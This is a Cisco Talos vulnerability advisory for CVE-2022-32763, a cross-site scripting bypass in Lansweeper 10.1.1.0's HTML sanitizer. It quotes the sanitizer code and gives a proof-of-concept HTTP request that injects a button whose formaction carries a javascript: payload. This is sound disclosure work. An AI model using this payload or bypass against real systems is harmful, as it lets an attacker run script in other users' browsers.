Headline
CVE-2022-32763: TALOS-2022-1541 || Cisco Talos Intelligence Group
A cross-site scripting (xss) sanitization vulnerability bypass exists in the SanitizeHtml functionality of Lansweeper lansweeper 10.1.1.0. A specially-crafted HTTP request can lead to arbitrary Javascript code injection. An attacker can send an HTTP request to trigger this vulnerability.
SUMMARY
A cross-site scripting (xss) sanitization vulnerability bypass exists in the SanitizeHtml functionality of Lansweeper lansweeper 10.1.1.0. A specially-crafted HTTP request can lead to arbitrary Javascript code injection. An attacker can send an HTTP request to trigger this vulnerability.
CONFIRMED VULNERABLE VERSIONS
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Lansweeper lansweeper 10.1.1.0
PRODUCT URLS
lansweeper - https://www.lansweeper.com/
CVSSv3 SCORE
9.1 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CWE
CWE-184 - Incomplete Blacklist
DETAILS
Lansweeper is an IT Asset Management solution that gathers hardware and software information of computers and other devices on a computer network for management, compliance and audit purposes.
Lansweeper developers allow users to use certain html tags together with chosen attributes in content added/created by users, e.g. News, Ticket text, etc. To avoid malicious XSS attacks, data which might contain such code is sanitized before being added to the page content. We can see such a sanitization example in the widget responsible for News presentation:
Line 1 \App_Web_2mmqsorv\ASP\widgets_helpdesknews_aspx.cs
Line 2
Line 3 Dictionary<int, News> dictionary = (from row in NewsController.GetClonedCachedNews().AsEnumerable()
Line 4 where row.value.Enabled
Line 5 select row).ToDictionary((KeyValuePair<int, News> row) => row.Key, (KeyValuePair<int, News> row) => row.Value);
Line 6 if (dictionary.Values.Count > 0)
Line 7 {
Line 8 __w.Write("\r\n <div id=\"news\" style=\"overflow: auto; line-height: normal;\">\r\n <div>\r\n <table>\r\n <tbody>\r\n ");
Line 9 foreach (News objNews in dictionary.objNewss)
Line 10 {
Line 11 __w.Write("\r\n <tr>\r\n <td valign=\"top\">\r\n ");
Line 12 if (objNews.Type != 5)
Line 13 {
Line 14 __w.Write("\r\n <img alt=\"\" src=\"");
Line 15 __w.Write(General.PathPrefix());
Line 16 __w.Write("images/p");
Line 17 __w.Write(HttpUtility.HtmlEncode(objNews.Type));
Line 18 __w.Write(".png\"/>\r\n ");
Line 19 }
Line 20 __w.Write("\r\n </td>\r\n <td width=\"100%\">");
Line 21 __w.Write(HtmlSanitizer.SanitizeHtml(objNews.GetTextTranslation(LS.User.Current().Lang)));
Line 22 __w.Write("</td>\r\n </tr>\r\n ");
Line 23 }
Line 24 __w.Write("\r\n </tbody>\r\n </table>\r\n </div>\r\n </div> \r\n ");
Line 25 }
as we can see in line 21 before news text is written to the page content, it’s being sanitized by HtmlSanitizer.SanitizeHtml method. Let us take a look at HtmlSanitizer class implementation:
Line 1 LS\Extensions\HtmlSanitizer\HtmlSanitizer.cs
Line 2 (...)
Line 3 public static HtmlSanitizer CustomHtmlSanitizer()
Line 4 {
Line 5 HtmlSanitizer htmlSanitizer = new HtmlSanitizer();
Line 6 string text = "width height style align valign";
Line 7 string[] array = new string[58]
Line 8 {
Line 9 "h1", "h2", "h3", "h3", "h4", "h5", "h6", "strong", "b", "i",
Line 10 "em", "thead", "tbody", "tr", "br", "p", "div", "span", "ul", "u",
Line 11 "pre", "sub", "sup", "strike", "hr", "center", "dl", "dt", "dd", "abbr",
Line 12 "address", "article", "aside", "bdi", "canvas", "caption", "cite", "code", "col", "colgroup",
Line 13 "datalist", "dfn", "figcaption", "footer", "header", "kbd", "mark", "nav", "noscript", "picture",
Line 14 "summary", "s", "samp", "section", "small", "tfoot", "var", "wbr"
Line 15 };
Line 16 foreach (string tagName in array)
Line 17 {
Line 18 htmlSanitizer.Tag(tagName).AllowAttributes(text);
Line 19 }
Line 20 htmlSanitizer.Tag("img").AllowAttributes(text + " src title alt crossorigin ismap longdesc usemap");
Line 21 htmlSanitizer.Tag("table").AllowAttributes(text + " border cellpadding cellspacing rules sortable summary");
Line 22 htmlSanitizer.Tag("td").AllowAttributes(text + " colspan rowspan headers");
Line 23 htmlSanitizer.Tag("ol").AllowAttributes(text + " start reversed type");
Line 24 htmlSanitizer.Tag("font").AllowAttributes(text + " color face size");
Line 25 htmlSanitizer.Tag("a").AllowAttributes(text + " href dowload hreflang media media_query rel target type").RemoveEmpty();
Line 26 htmlSanitizer.Tag("video").AllowAttributes(text + " controls autoplay loop muted poster preload src");
Line 27 htmlSanitizer.Tag("source").AllowAttributes(text + " src type media");
Line 28 htmlSanitizer.Tag("map").AllowAttributes(text + " name");
Line 29 htmlSanitizer.Tag("area").AllowAttributes(text + " alt coords download href hreflang media rel shape target type");
Line 30 htmlSanitizer.Tag("audio").AllowAttributes(text + " autoplay controls loop muted preload src");
Line 31 htmlSanitizer.Tag("bdo").AllowAttributes(text + " dir");
Line 32 htmlSanitizer.Tag("blockquote").AllowAttributes(text + " cite");
Line 33 htmlSanitizer.Tag("button").AllowAttributes(text + " autofocus disabled form formaction formenctype formmethod formnovalidate formtarget name type value");
Line 34 htmlSanitizer.Tag("del").AllowAttributes(text + " cite datetime");
Line 35 htmlSanitizer.Tag("ins").AllowAttributes(text + " cite datetime");
Line 36 htmlSanitizer.Tag("details").AllowAttributes(text + " open");
Line 37 htmlSanitizer.Tag("dialog").AllowAttributes(text + " open");
Line 38 htmlSanitizer.Tag("label").AllowAttributes(text + " for");
Line 39 htmlSanitizer.Tag("li").AllowAttributes(text + " value");
Line 40 htmlSanitizer.Tag("map").AllowAttributes(text + " name");
Line 41 htmlSanitizer.Tag("menu").AllowAttributes(text + " label type");
Line 42 htmlSanitizer.Tag("menuitem").AllowAttributes(text + " checked command default disabled icon label type");
Line 43 htmlSanitizer.Tag("q").AllowAttributes(text + " cite");
Line 44 htmlSanitizer.Tag("th").AllowAttributes(text + " abbr colspan headers rowspan scope sorted");
Line 45 htmlSanitizer.Tag("time").AllowAttributes(text + " datetime");
Line 46 htmlSanitizer.Tag("track").AllowAttributes(text + " default kind label src srclang");
Line 47 htmlSanitizer.RemoveComments = true;
Line 48 htmlSanitizer.ForbiddenElements.Add("script");
Line 49 htmlSanitizer.ForbiddenElements.Add("style");
Line 50 htmlSanitizer.TransformLinks = true;
Line 51 return htmlSanitizer;
Line 52 }
Line 53
Line 54 public static string SanitizeHtml(string html, params string[] WhiteList)
Line 55 {
Line 56 string text = "";
Line 57 try
Line 58 {
Line 59 text = new SimpleHtmlParser().ParseString(html).OuterXml;
Line 60 }
Line 61 catch (Exception ex)
Line 62 {
Line 63 ErrorLogging.LogToFile(ex, "Parser error");
Line 64 text = html;
Line 65 }
Line 66 text = CustomHtmlSanitizer().Sanitize(text);
Line 67 HtmlDocument htmlDocument = new HtmlDocument();
Line 68 htmlDocument.LoadHtml(text);
Line 69 SanitizeCss(htmlDocument.DocumentNode);
Line 70 if (htmlDocument.DocumentNode.ChildNodes.Count == 0 || htmlDocument.DocumentNode.ChildNodes.Count > 1)
Line 71 {
Line 72 return "<div style=\"font:12px Arial,Verdana;font-size:12px;font-family:Arial,Verdana;\">" + htmlDocument.DocumentNode.InnerHtml.Trim() + "</div>";
Line 73 }
Line 74 return htmlDocument.DocumentNode.InnerHtml.Trim();
Line 75 }
Line 76 (...)
That’s of course just a part of this class, but we can observe more or less what the assumptions are, etc. This class contains a list of allowed html tags and their attributes the user might use in the text. There are also additional checks for particular attributes (for example, for href where developers check whether it does not start with a schema different than “http/https”). Unfortunately developers allow a tag like button with its attribute formaction and do not sanitize it at all. This gives a potential attacker the possibility to inject malicious javascript code, which will be triggered after the user clicks the button.
Exploit Proof of Concept
REQUEST POST /configuration/MainPage/MainPageActions.aspx?action=editnews&id=3 HTTP/1.1 Host: 192.168.0.102:81 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0 Accept: / Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 438 Origin: http://192.168.0.102:81 Connection: close Referer: http://192.168.0.102:81/configuration/MainPage/ Cookie: UserSettings=language=1; ASP.NET_SessionId=ke33dhy3jtng0hcwed2fe5av; custauth=username=hacker&userdomain=;
__VIEWSTATE=&editnewstext=<button style="width: 500px;height:500px" form="formc" formaction="javascript:alert(1)">click me</button>&newsid=3
RESPONSE HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Server: Microsoft-IIS/8.0 x-frame-options: SAMEORIGIN X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 09 Jun 2022 10:15:53 GMT Connection: close Content-Length: 150
{"ErrorType":"","Error":false,"Emsg":"","AddedRows":[],"Columns":[],"Columnwid":[],"Action":"","ReturnValues":{},"ReturnValue":"","ReturnObject":null}
TIMELINE
2022-06-27 - Vendor Disclosure
2022-11-29 - Vendor Patch Release
2022-12-01 - Public Release
Discovered by Marcin ‘Icewall’ Noga of Cisco Talos.
Related news
Marcin ‘Icewall’ Noga of Cisco Talos discovered these vulnerabilities. Cisco Talos recently discovered several directory traversal and cross-site scripting vulnerabilities in Lansweeper. Lansweeper is an IT Asset Management solution that gathers hardware and software information of computers and other devices on a computer network for management, compliance and